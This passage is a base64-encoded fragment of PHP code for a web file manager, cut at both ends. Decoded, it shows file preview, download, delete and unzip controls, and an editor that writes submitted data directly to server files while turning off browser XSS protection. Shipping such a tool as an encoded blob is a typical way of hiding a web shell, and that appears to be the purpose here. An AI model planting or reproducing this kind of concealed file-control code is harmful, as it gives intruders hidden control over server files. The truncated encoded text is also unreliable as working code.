gICAkb25saW5lX3ZpZXdlciA9IHN0cnRvbG93ZXIoRk1fRE9DX1ZJRVdFUik7XG5cbiAgICBpZiAoJG9ubGluZV92aWV3ZXIgJiYgJG9ubGluZV92aWV3ZXIgIT09ICdmYWxzZScgJiYgaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X29ubGluZVZpZXdlcl9leHRzKCkpKSB7XG4gICAgICAgICRpc19vbmxpbmVWaWV3ZXIgPSB0cnVlO1xuICAgIH0gZWxzZWlmICgkZXh0ID09ICd6aXAnIHx8ICRleHQgPT0gJ3RhcicpIHtcbiAgICAgICAgJGlzX3ppcCA9IHRydWU7XG4gICAgICAgICR2aWV3X3RpdGxlID0gJ0FyY2hpdmUnO1xuICAgICAgICAkZmlsZW5hbWVzID0gZm1fZ2V0X3ppZl9pbmZvKCRmaWxlX3BhdGgsICRleHQpO1xuICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfaW1hZ2VfZXh0cygpKSkge1xuICAgICAgICAkaXNfaW1hZ2UgPSB0cnVlO1xuICAgICAgICAkdmlld190aXRsZSA9ICdJbWFnZSc7XG4gICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF9hdWRpb19leHRzKCkpKSB7XG4gICAgICAgICRpc19hdWRpbyA9IHRydWU7XG4gICAgICAgICR2aWV3X3RpdGxlID0gJ0F1ZGlvJztcbiAgICB9IGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X3ZpZGVvX2V4dHMoKSkpIHtcbiAgICAgICAgJGlzX3ZpZGVvID0gdHJ1ZTtcbiAgICAgICAgJHZpZXdfdGl0bGUgPSAnVmlkZW8nO1xuICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHtcbiAgICAgICAgJGlzX3RleHQgPSB0cnVlO1xuICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO1xuICAgIH1cblxuPz5cbiAgICA8ZGl2IGNsYXNzPVwicm93XCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMTJcIj5cbiAgICAgICAgICAgIDx1bCBjbGFzcz1cImxpc3QtZ3JvdXAgdy01MCBteS0zXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtIGFjdGl2ZVwiIGFyaWEtY3VycmVudD1cInRydWVcIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCR2aWV3X3RpdGxlKSA/Pjo8XC9zdHJvbmc+IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCRmaWxlKSkgPz48XC9saT5cbiAgICAgICAgICAgICAgICA8P3BocCAkZGlzcGxheV9wYXRoID0gZm1fZ2V0X2Rpc3BsYXlfcGF0aCgkZmlsZV9wYXRoKTsgPz5cbiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPjw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsnbGFiZWwnXTsgPz46PFwvc3Ryb25nPiA8P3BocCBlY2hvICRkaXNwbGF5X3BhdGhbJ3BhdGgnXTsgPz48XC9saT5cbiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdEYXRlIE1vZGlmaWVkJykgPz46PFwvc3Ryb25nPiA8P3BocCBlY2hvIGRhdGUoRk1fREFURVRJTUVfRk9STUFULCBmaWxlbXRpbWUoJGZpbGVfcGF0aCkpOyA/PjxcL2xpPlxuICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ0ZpbGUgc2l6ZScpID8+OjxcL3N0cm9uZz4gPD9waHAgZWNobyAoJGZpbGVzaXplX3JhdyA8PSAxMDAwKSA/IFwiJGZpbGVzaXplX3JhdyBieXRlc1wiIDogJGZpbGVzaXplOyA/PjxcL2xpPlxuICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ01JTUUtdHlwZScpID8+OjxcL3N0cm9uZz4gPD9waHAgZWNobyAkbWltZV90eXBlID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBpZiAoKCRpc196aXAgfHwgJGlzX2d6aXApICYmICRmaWxlbmFtZXMgIT09IGZhbHNlKSB7XG4gICAgICAgICAgICAgICAgICAgICR0b3RhbF9maWxlcyA9IDA7XG4gICAgICAgICAgICAgICAgICAgICR0b3RhbF9jb21wID0gMDtcbiAgICAgICAgICAgICAgICAgICAgJHRvdGFsX3VuY29tcCA9IDA7XG4gICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRmblsnZm9sZGVyJ10pIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfZmlsZXMrKztcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICR0b3RhbF9jb21wICs9ICRmblsnY29tcHJlc3NlZF9zaXplJ107XG4gICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfdW5jb21wICs9ICRmblsnZmlsZXNpemUnXTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjw/cGhwIGVjaG8gbG5nKCdGaWxlcyBpbiBhcmNoaXZlJykgPz46IDw/cGhwIGVjaG8gJHRvdGFsX2ZpbGVzID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjw/cGhwIGVjaG8gbG5nKCdUb3RhbCBzaXplJykgPz46IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF91bmNvbXApID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPiA8P3BocCBlY2hvIGxuZygnU2l6ZSBpbiBhcmNoaXZlJykgPz46IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF9jb21wKSA/PjxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48P3BocCBlY2hvIGxuZygnQ29tcHJlc3Npb24nKSA/PjogPD9waHAgZWNobyByb3VuZCgoJHRvdGFsX2NvbXAgXC8gbWF4KCR0b3RhbF91bmNvbXAsIDEpKSAqIDEwMCkgPz4lPFwvbGk+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgaWYgKCRpc19pbWFnZSkge1xuICAgICAgICAgICAgICAgICAgICAkaW1hZ2Vfc2l6ZSA9IGdldGltYWdlc2l6ZSgkZmlsZV9wYXRoKTtcbiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PHN0cm9uZz4nIC4gbG5nKCdJbWFnZSBzaXplJykgLiAnOjxcL3N0cm9uZz4gJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVswXSkgPyAkaW1hZ2Vfc2l6ZVswXSA6ICcwJykgLiAnIHggJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVsxXSkgPyAkaW1hZ2Vfc2l6ZVsxXSA6ICcwJykgLiAnPFwvbGk+JztcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgaWYgKCRpc190ZXh0KSB7XG4gICAgICAgICAgICAgICAgICAgICRpc191dGY4ID0gZm1faXNfdXRmOCgkY29udGVudCk7XG4gICAgICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2ljb252JykpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGlzX3V0ZjgpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IGljb252KEZNX0lDT05WX0lOUFVUX0VOQywgJ1VURi04XC9cL0lHTk9SRScsICRjb250ZW50KTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICBlY2hvICc8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPicgLiBsbmcoJ0NoYXJzZXQnKSAuICc6PFwvc3Ryb25nPiAnIC4gKCRpc191dGY4ID8gJ3V0Zi04JyA6ICc4IGJpdCcpIC4gJzxcL2xpPic7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICA8XC91bD5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJidG4tZ3JvdXAgYnRuLWdyb3VwLXNtIGZsZXgtd3JhcFwiIHJvbGU9XCJncm91cFwiPlxuICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD1cInBvc3RcIiBjbGFzcz1cImQtaW5saW5lIG1iLTAgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnlcIiBhY3Rpb249XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLWxpbmsgYnRuLXNtIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wXCI+PGkgY2xhc3M9XCJmYSBmYS1jbG91ZC1kb3dubG9hZFwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdEb3dubG9hZCcpID8+PFwvYnV0dG9uPiAmbmJzcDtcbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz1cImZ3LWJvbGQgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnlcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PlwiIG9uY2xpY2s9XCJjb25maXJtRGFpbG9nKGV2ZW50LCAxMjA5LCAnPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpIC4gJyAnIC4gbG5nKCdGaWxlJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpOyA/PicsIHRoaXMuaHJlZik7XCI+IDxpIGNsYXNzPVwiZmEgZmEtdHJhc2hcIj48XC9pPiBEZWxldGU8XC9hPlxuICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI8P3BocCBlY2hvIGZtX2VuYygkZmlsZV91cmwpID8+XCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1leHRlcm5hbC1saW5rLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdPcGVuJykgPz48XC9hPjxcL2I+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBpZiAoIUZNX1JFQURPTkxZICYmICgkaXNfemlwIHx8ICRpc19nemlwKSAmJiAkZmlsZW5hbWVzICE9PSBmYWxzZSkge1xuICAgICAgICAgICAgICAgICAgICAkemlwX25hbWUgPSBwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7XG4gICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwicG9zdFwiIGNsYXNzPVwiZC1pbmxpbmUgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgbWItMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidW56aXBcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1saW5rIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wIGJvcmRlci0wXCIgc3R5bGU9XCJmb250LXNpemU6IDE0cHg7XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1jaXJjbGVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnVW5aaXAnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwicG9zdFwiIGNsYXNzPVwiZC1pbmxpbmUgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgbWItMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidW56aXBcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRvZm9sZGVyXCIgdmFsdWU9XCIxXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tbGluayB0ZXh0LWRlY29yYXRpb24tbm9uZSBmdy1ib2xkIHAtMFwiIHN0eWxlPVwiZm9udC1zaXplOiAxNHB4O1wiIHRpdGxlPVwiVW5aaXAgdG8gPD9waHAgZWNobyBmbV9lbmMoJHppcF9uYW1lKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtY2hlY2stY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1VuWmlwVG9Gb2xkZXInKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICBpZiAoJGlzX3RleHQgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJmdy1ib2xkIGJ0biBidG4tb3V0bGluZS1wcmltYXJ5XCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmFtcDtlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PlwiIGNsYXNzPVwiZWRpdC1maWxlXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz1cImZhIGZhLXBlbmNpbC1zcXVhcmVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnRWRpdCcpID8+XG4gICAgICAgICAgICAgICAgICAgIDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mZW52PWFjZVwiXG4gICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz1cImVkaXQtZmlsZVwiPjxpIGNsYXNzPVwiZmEgZmEtcGVuY2lsLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZEVkaXRvcicpID8+XG4gICAgICAgICAgICAgICAgICAgIDxcL2E+XG4gICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtY2hldnJvbi1jaXJjbGUtbGVmdCBnby1iYWNrXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0JhY2snKSA/PjxcL2E+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwicm93IG10LTNcIj5cbiAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgIGlmICgkaXNfb25saW5lVmlld2VyKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmICgkb25saW5lX3ZpZXdlciA9PSAnZ29vZ2xlJykge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlmcmFtZSBzcmM9XCJodHRwczpcL1wvZG9jcy5nb29nbGUuY29tXC92aWV3ZXI/ZW1iZWRkZWQ9dHJ1ZSZobD1lbiZ1cmw9JyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJ1wiIGZyYW1lYm9yZGVyPVwibm9cIiBzdHlsZT1cIndpZHRoOjEwMCU7bWluLWhlaWdodDo0NjBweFwiPjxcL2lmcmFtZT4nO1xuICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKCRvbmxpbmVfdmlld2VyID09ICdtaWNyb3NvZnQnKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8aWZyYW1lIHNyYz1cImh0dHBzOlwvXC92aWV3Lm9mZmljZWFwcHMubGl2ZS5jb21cL29wXC9lbWJlZC5hc3B4P3NyYz0nIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnXCIgZnJhbWVib3JkZXI9XCJub1wiIHN0eWxlPVwid2lkdGg6MTAwJTttaW4taGVpZ2h0OjQ2MHB4XCI+PFwvaWZyYW1lPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX3ppcCkge1xuICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGVuYW1lcyAhPT0gZmFsc2UpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxjb2RlIGNsYXNzPVwibWF4aGVpZ2h0XCI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmblsnZm9sZGVyJ10pIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+JyAuIGZtX2VuYygkZm5bJ25hbWUnXSkgLiAnPFwvYj48YnI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRmblsnbmFtZSddIC4gJyAoJyAuIGZtX2dldF9maWxlc2l6ZSgkZm5bJ2ZpbGVzaXplJ10pIC4gJyk8YnI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8XC9jb2RlPic7XG4gICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8cD4nIC4gbG5nKCdFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nKSAuICc8XC9wPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2ltYWdlKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkZXh0LCBhcnJheSgnZ2lmJywgJ2pwZycsICdqcGVnJywgJ3BuZycsICdibXAnLCAnaWNvJywgJ3N2ZycsICd3ZWJwJywgJ2F2aWYnKSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBpZD1cInByZXZpZXctaW1nLXpvb21DaGVja1wiPjxsYWJlbCBmb3I9XCJwcmV2aWV3LWltZy16b29tQ2hlY2tcIj48aW1nIHNyYz1cIicgLiBmbV9lbmMoJGZpbGVfdXJsKSAuICdcIiBhbHQ9XCJpbWFnZVwiIGNsYXNzPVwicHJldmlldy1pbWdcIj48XC9sYWJlbD48XC9wPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2F1ZGlvKSB7XG4gICAgICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxhdWRpbyBzcmM9XCInIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnXCIgY29udHJvbHMgcHJlbG9hZD1cIm1ldGFkYXRhXCI+PFwvYXVkaW8+PFwvcD4nO1xuICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkaXNfdmlkZW8pIHtcbiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz1cInByZXZpZXctdmlkZW9cIj48dmlkZW8gc3JjPVwiJyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJ1wiIHdpZHRoPVwiNjQwXCIgaGVpZ2h0PVwiMzYwXCIgY29udHJvbHMgcHJlbG9hZD1cIm1ldGFkYXRhXCI+PFwvdmlkZW8+PFwvZGl2Pic7XG4gICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRpc190ZXh0KSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChGTV9VU0VfSElHSExJR0hUSlMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzZXMgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnc2h0bWwnID0+ICd4bWwnLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdodGFjY2VzcycgPT4gJ2FwYWNoZScsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3BodG1sJyA9PiAncGhwJyxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbG9jaycgPT4gJ2pzb24nLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdmcnID0+ICd4bWwnLFxuICAgICAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzID0gaXNzZXQoJGhsanNfY2xhc3Nlc1skZXh0XSkgPyAnbGFuZy0nIC4gJGhsanNfY2xhc3Nlc1skZXh0XSA6ICdsYW5nLScgLiAkZXh0O1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRleHQpIHx8IGluX2FycmF5KHN0cnRvbG93ZXIoJGZpbGUpLCBmbV9nZXRfdGV4dF9uYW1lcygpKSB8fCBwcmVnX21hdGNoKCcjXFwubWluXFwuKGNzc3xqcykkI2knLCAkZmlsZSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGxqc19jbGFzcyA9ICdub2hpZ2hsaWdodCc7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICc8cHJlIGNsYXNzPVwid2l0aC1obGpzXCI+PGNvZGUgY2xhc3M9XCInIC4gJGhsanNfY2xhc3MgLiAnXCI+JyAuIGZtX2VuYygkY29udGVudCkgLiAnPFwvY29kZT48XC9wcmU+JztcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGFycmF5KCdwaHAnLCAncGhwNCcsICdwaHA1JywgJ3BodG1sJywgJ3BocHMnKSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRjb250ZW50ID0gaGlnaGxpZ2h0X3N0cmluZygkY29udGVudCwgdHJ1ZSk7XG4gICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICc8cHJlPicgLiBmbV9lbmMoJGNvbnRlbnQpIC4gJzxcL3ByZT4nO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIGVjaG8gJGNvbnRlbnQ7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgIDxcL2Rpdj5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pICYmICFGTV9SRUFET05MWSkge1xuICAgICRmaWxlID0gJF9HRVRbJ2VkaXQnXTtcbiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSB8fCAhZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuICAgICRlZGl0RmlsZSA9ICcgOiA8aT48Yj4nIC4gJGZpbGUgLiAnPFwvYj48XC9pPic7XG4gICAgaGVhZGVyKCdYLVhTUy1Qcm90ZWN0aW9uOjAnKTtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG5cbiAgICAkZmlsZV91cmwgPSBGTV9ST09UX1VSTCAuIGZtX2NvbnZlcnRfd2luKChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGZpbGUpO1xuICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICRpc05vcm1hbEVkaXRvciA9IHRydWU7XG4gICAgaWYgKGlzc2V0KCRfR0VUWydlbnYnXSkpIHtcbiAgICAgICAgaWYgKCRfR0VUWydlbnYnXSA9PSBcImFjZVwiKSB7XG4gICAgICAgICAgICAkaXNOb3JtYWxFZGl0b3IgPSBmYWxzZTtcbiAgICAgICAgfVxuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3NhdmVkYXRhJ10pKSB7XG4gICAgICAgICR3cml0ZWRhdGEgPSAkX1BPU1RbJ3NhdmVkYXRhJ107XG4gICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsIFwid1wiKTtcbiAgICAgICAgQGZ3cml0ZSgkZmQsICR3cml0ZWRhdGEpO1xuICAgICAgICBmY2xvc2UoJGZkKTtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5JykpO1xuICAgIH1cblxuICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlX3BhdGgsIFBBVEhJTkZPX0VYVEVOU0lPTikpO1xuICAgICRtaW1lX3R5cGUgPSBmbV9nZXRfbWltZV90eXBlKCRmaWxlX3BhdGgpO1xuICAgICRmaWxlc2l6ZSA9IGZpbGVzaXplKCRmaWxlX3BhdGgpO1xuICAgICRpc190ZXh